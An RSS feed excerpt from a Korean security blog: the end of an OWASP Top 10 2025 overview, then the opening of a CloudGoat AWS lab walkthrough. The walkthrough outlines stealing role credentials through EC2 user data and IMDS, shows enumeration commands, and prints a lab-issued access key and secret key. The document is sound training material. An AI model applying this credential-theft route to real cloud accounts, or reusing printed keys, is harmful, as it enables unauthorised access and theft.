&lt;p data-path-to-node=&quot;25&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;소프트웨어 공급망 실패보다 하위 수준에서 소프트웨어, 코드 및 데이터 아티팩트의 무결성을 검증하고 신뢰 경계를 유지하는 데 실패하는 것을 중점적으로 다룬다.&lt;/span&gt; 애플리케이션에서 데이터 유효성, 출처 또는 무결성이 확인되지 않은 채 처리되거나 사용될 때 발생하는 보안 위험이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;25&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; # A03(소프트웨어 공급망 보안 실패) 과 다른점은?&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;25&quot; data-ke-size=&quot;size18&quot;&gt;A08은 외부의 종속성 자체가 안전하더라도, 애플리케이션 환경 내부에서 이루어지는 무결성 검증 실패에 초점을 둠&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;26&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;26,0,0&quot;&gt;대표적인 취약점 :&lt;/b&gt; 안전하지 않은 역직렬화(React2shell의 루트커즈), CDN 무결성 유효성 검증 미흡, 업데이트시 디지털 서명 검증 미흡, 신뢰하지 않는 종속성 저장소 사용 등&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;27&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;27&quot;&gt;A09:2025 &amp;ndash; Logging &amp;amp; Alerting Failures (로깅 및 경고 문제)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;28&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;침해 사고가 발생했을 때 적절한 보안 로그를 수집하지 않거나, 이를 모니터링하지 않았거나, 또는 알람 경고에 신속하게 대응하지 못할 때 발생하는 위험이며 사고 대응과 포렌식을 어렵게 만든다. 2021년 9위를 유지했으며, 이번 2025년 버전에서는 '모니터링' 대신 '경고(Alerting)'라는 단어를 사용하여 대응의 실효성을 강조했다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;29&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;대표적인 취약점 :&lt;/b&gt; 로그인 실패 로깅 누락, 실시간 모니터링 부재 등.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;30&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;30&quot;&gt;A10:2025 &amp;ndash; Mishandling of Exceptional Conditions (예외 처리 미흡)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;31&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;31&quot;&gt;2025년 신규 등재&lt;/b&gt; 항목으로, &lt;span style=&quot;background-color: #ffffff; letter-spacing: 0px;&quot;&gt;이 범주에는 부적절한 오류 처리, 논리적 오류, 시스템 개방 실패 및 시스템이 직면할 수 있는 비정상적인 상황에서 발생하는 기타 관련 시나리오에 초점을 맞춘 24개의 핵심 문제(CWE)가 포함되어 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;31&quot; data-ke-size=&quot;size18&quot;&gt;예상치 못하거나 예측 불가능한 상황에 대해 예방, 감지 및 대응하는 데 실패하여 장애, 취약점으로 이어질 때 발생하는 위험이다.&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;32&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;32,0,0&quot;&gt; 대표적인 취약점&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;:&lt;/b&gt; 에러 정보 노출 - 중요정보, 민감 정보 노출,&amp;nbsp; Failing Open - 검증 실패시 접근을 허용 - if False: break; if False: break; pass();, 불충분한 입력 값 처리 - 입력 값을 적절히 처리하지 못하여 예상하지 못한 동작으로 이어지는 경우 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지금까지 2025년 최신 기준으로 업데이트된 OWASP Top 10을 살펴보았다. 이론적인 개념을 익혔으니, 이제 다음 포스팅부터는 &lt;b data-index-in-node=&quot;77&quot; data-path-to-node=&quot;16,0&quot;&gt;WebGoat&lt;/b&gt;라는 모의 해킹 실습 환경을 통해 이러한 취약점들이 실제로 어떻게 발생하고, 어떻게 방어할 수 있는지 하나씩 직접 실습해 보겠다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Web</category>
      <category>OWASP TOP 10</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/44</guid>
      <comments>https://chon29.tistory.com/44#entry44comment</comments>
      <pubDate>Mon, 16 Mar 2026 16:18:48 +0900</pubDate>
    </item>
    <item>
      <title>[ CloudGoat | Easy ] data_secrets 시나리오 실습</title>
      <link>https://chon29.tistory.com/43</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Github 링크&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;figure id=&quot;og_1773153850028&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;cloudgoat/cloudgoat/scenarios/aws/data_secrets at master &amp;middot; RhinoSecurityLabs/cloudgoat&quot; data-og-description=&quot;CloudGoat is Rhino Security Labs' &amp;quot;Vulnerable by Design&amp;quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/data_secrets&quot; data-og-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/data_secrets&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/N9z2W/dJMb86nVNBm/CsAsP0kDa9PXPVOLTzcanK/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/bz2HVn/dJMb84p6X1t/48BSNSOBVFuQhZKRwuuRl1/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400&quot;&gt;&lt;a href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/data_secrets&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/data_secrets&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/N9z2W/dJMb86nVNBm/CsAsP0kDa9PXPVOLTzcanK/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400,https://scrap.kakaocdn.net/dn/bz2HVn/dJMb84p6X1t/48BSNSOBVFuQhZKRwuuRl1/img.jpg?width=1140&amp;amp;height=400&amp;amp;face=0_0_1140_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;cloudgoat/cloudgoat/scenarios/aws/data_secrets at master &amp;middot; RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;CloudGoat is Rhino Security Labs' &quot;Vulnerable by Design&quot; AWS deployment tool - RhinoSecurityLabs/cloudgoat&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;# README&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Scenario Resources&lt;/h2&gt;
&lt;a id=&quot;user-content-scenario-resources&quot; style=&quot;background-color: #000000; color: #0969da;&quot; href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/data_secrets/README.md#scenario-resources&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1 IAM User : 제한된 권한을 가진 IAM 사용자 (시나리오의 시작점)&lt;/li&gt;
&lt;li&gt;1 EC2 Instance : 자격 증명이 유출되는 잘못 수정된 EC2 인스턴스&lt;/li&gt;
&lt;li&gt;1 IAM Role&lt;/li&gt;
&lt;li&gt;1 Lambda Function : 탈취한 역할로 접근하여 Lambda 함수에 숨겨진 환경 변수를 찾아냄&lt;/li&gt;
&lt;li&gt;1 Secrets Manager Secret : 최종 목표지점, 접근하여 flag 획득&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Scenario Start(s)&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333; font-size: 16px; letter-spacing: 0px;&quot;&gt;AWS Access Key and Secret Key&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Scenario Goal(s)&lt;/h2&gt;
&lt;a id=&quot;user-content-scenario-goals&quot; style=&quot;background-color: #000000; color: #0969da;&quot; href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/data_secrets/README.md#scenario-goals&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;AWS Secrets Manager에 저장된 최종 flag를 찾기&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Summary&lt;/h2&gt;
&lt;a id=&quot;user-content-summary&quot; style=&quot;background-color: #000000; color: #0969da;&quot; href=&quot;https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/data_secrets/README.md#summary&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이&amp;nbsp;시나리오에서는&amp;nbsp;제한된&amp;nbsp;권한을&amp;nbsp;가진&amp;nbsp;IAM&amp;nbsp;사용자로&amp;nbsp;시작합니다.&amp;nbsp;여러분의&amp;nbsp;목표는&amp;nbsp;사용자&amp;nbsp;데이터에&amp;nbsp;자격&amp;nbsp;증명이&amp;nbsp;유출되는&amp;nbsp;잘못&amp;nbsp;구성된&amp;nbsp;EC2&amp;nbsp;인스턴스를&amp;nbsp;찾아&amp;nbsp;SSH&amp;nbsp;접근&amp;nbsp;권한을&amp;nbsp;획득하는&amp;nbsp;것입니다.&amp;nbsp;그&amp;nbsp;후,&amp;nbsp;인스턴스&amp;nbsp;메타데이터&amp;nbsp;서비스(IMDS)를&amp;nbsp;악용하여&amp;nbsp;역할을&amp;nbsp;탈취하고,&amp;nbsp;Lambda&amp;nbsp;함수를&amp;nbsp;열거하여&amp;nbsp;숨겨진&amp;nbsp;환경&amp;nbsp;변수를&amp;nbsp;찾아낸&amp;nbsp;다음,&amp;nbsp;최종적으로&amp;nbsp;시나리오의&amp;nbsp;목표인&amp;nbsp;AWS&amp;nbsp;Secrets&amp;nbsp;Manager에&amp;nbsp;저장된&amp;nbsp;비밀&amp;nbsp;키에&amp;nbsp;접근할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;사용자&amp;nbsp;계정을&amp;nbsp;확보해야&amp;nbsp;합니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 개요&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 시나리오는 제한된 권한의 IAM 사용자로 시작하여, 설정 오류로 노출된 &lt;b data-index-in-node=&quot;57&quot; data-path-to-node=&quot;13&quot;&gt;EC2 User Data&lt;/b&gt;와 &lt;b data-index-in-node=&quot;72&quot; data-path-to-node=&quot;13&quot;&gt;Lambda 환경 변수&lt;/b&gt;를 통해 권한을 상승시키는 과정을 다룬다. 최종적으로 AWS Secrets Manager에 접근하여 플래그를 획득하는 것이 목표입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot; data-path-to-node=&quot;7&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Exploitation Route&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,0,0&quot;&gt;Enumerate Permissions:&lt;/b&gt; 제공된 자격 증명으로 EC2 속성을 읽을 수 있는 권한이 있는지 확인한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,1,0&quot;&gt;Inspect EC2 User Data:&lt;/b&gt; EC2의 User Data를 검사하여 하드코딩된 &lt;b data-index-in-node=&quot;50&quot; data-path-to-node=&quot;15,1,0&quot;&gt;SSH 자격 증명&lt;/b&gt;을 찾아낸다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,2,0&quot;&gt;SSH Access &amp;amp; IMDS Exploit:&lt;/b&gt; 노출된 EC2에 SSH로 접속한 뒤, &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;15,2,0&quot;&gt;IMDS&lt;/b&gt;에 쿼리를 날려 IAM 역할의 임시 자격 증명을 탈취한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,3,0&quot;&gt;Enumerate Lambda:&lt;/b&gt; 탈취한 권한으로 Lambda 함수를 조사하여 환경 변수에 숨겨진 &lt;b data-index-in-node=&quot;54&quot; data-path-to-node=&quot;15,3,0&quot;&gt;Access Key&lt;/b&gt;를 발견한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,4,0&quot;&gt;Retrieve Final Flag:&lt;/b&gt; 획득한 관리자급 키를 사용하여 &lt;b data-index-in-node=&quot;38&quot; data-path-to-node=&quot;15,4,0&quot;&gt;Secrets Manager&lt;/b&gt;에서 최종 플래그를 읽어낸다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ 환경 구축 ]&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 생성&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773153873859&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cloudgoat create data_secrets&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Apply complete! 메시지가 뜨면 AWS상에 실습 리소스가 성공적으로 생성된 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;[ &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Output ]&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1776533346932&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;start_user_access_key = AKIA32XTQ7QIBTNCMVGO
start_user_secret_key = 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&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Output으로 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;제공된 Key로&amp;nbsp;&lt;/span&gt;사용자를 CLI에 등록한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 1. 시작 사용자 구성&lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;AWS CLI 프로필 설정 (자격 증명 등록)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;시나리오에서 발급받은&lt;b&gt;&amp;nbsp;access_key_id&lt;/b&gt;와&amp;nbsp;&lt;b&gt;secret_access_key&lt;/b&gt;를 사용하여 내 로컬 환경에 satrt_user라는 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773153873863&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 프로필 등록
aws configure --profile [프로필명]
# Enter Access Key ID
# Enter Secret Access Key
# Default region: us-east-1
# Default output format: json&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;시나리오에서 생성된 사용자 프로필을 등록한다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;현재 사용자 정보 확인&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773153873864&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 신분 확인
aws sts get-caller-identity --profile [프로필명]

{
    &quot;UserId&quot;: &quot;AIDA32XTQ7QINIPXYJY2W&quot;,
    &quot;Account&quot;: &quot;xxxxxxxxxxxx&quot;,
    &quot;Arn&quot;: &quot;arn:aws:iam::xxxxxxxxxxxx:user/cg-start-user-cgidhl8rixa9p5&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다. secondary_user의 비밀키를 알아내야 한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 2. 권한 및 EC2 리소스 열거&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;EC2 인스턴스 정보 확인&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;get-caller-identity확인 및 권한 확인을 통해 신원을 확인할 수 있지만, &lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;어떤 리소스가 공개되어 있는지 확인하는 것이 더 중요하므로 &lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;계정에서 실행 중인 EC2 인스턴스가 있는지 확인하기 위해 인스턴스 목록을 조회해 본다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;cli 명령 옵션 확인&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1776534122246&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;describe-instances &amp;mdash; AWS CLI 2.34.32 Command Reference&quot; data-og-description=&quot;The total number of items to return in the command&amp;rsquo;s output. If the total number of items available is more than the value specified, a NextToken is provided in the command&amp;rsquo;s output. To resume pagination, provide the NextToken value in the starting-tok&quot; data-og-host=&quot;docs.aws.amazon.com&quot; data-og-source-url=&quot;https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html&quot; data-og-url=&quot;https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;describe-instances &amp;mdash; AWS CLI 2.34.32 Command Reference&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The total number of items to return in the command&amp;rsquo;s output. If the total number of items available is more than the value specified, a NextToken is provided in the command&amp;rsquo;s output. To resume pagination, provide the NextToken value in the starting-tok&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.aws.amazon.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;해당 글을 보면 출력 구조를 알 수 있고, 옵션을 사용하여 원하는 값만 조회하고 싶을 때 참고하면 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;인스턴스 목록 조회&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1776533860903&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws ec2 describe-instances --region us-east-1 --profile start_user&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 명령어를 치면 인스턴스가 목록에 표시되는데 InstanceId&lt;span&gt;&amp;nbsp;&lt;/span&gt;(i-0xxxxxxxx)와&lt;span&gt;&amp;nbsp;&lt;/span&gt;PublicIpAddress, Security Groups을&lt;span&gt;&amp;nbsp;&lt;/span&gt;기록해 두어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;[ 조회 결과 ]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1776534479639&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&quot;SecondaryInterfaces&quot;: [],
&quot;InstanceId&quot;: &quot;i-0e95c56fa95719e3d&quot;,
&quot;PublicIpAddress&quot;: &quot;100.54.10.131&quot;
                   
# Security Groups
&quot;Groups&quot;: [
    {
        &quot;GroupId&quot;: &quot;sg-0c72f4abb389ec787&quot;,
        &quot;GroupName&quot;: &quot;cg-sg-cgidhl8rixa9p5&quot;
    }
]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;인스턴스 ID만 확인&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773297244282&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 인스턴스 ID 확인
aws ec2 describe-instances --profile start_user --region us-east-1 --query 'Reservations[*].Instances[*].InstanceId' --output text&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;옵션을 사용하여 ID만 간단히 확인할 수 있다.&lt;/p&gt;
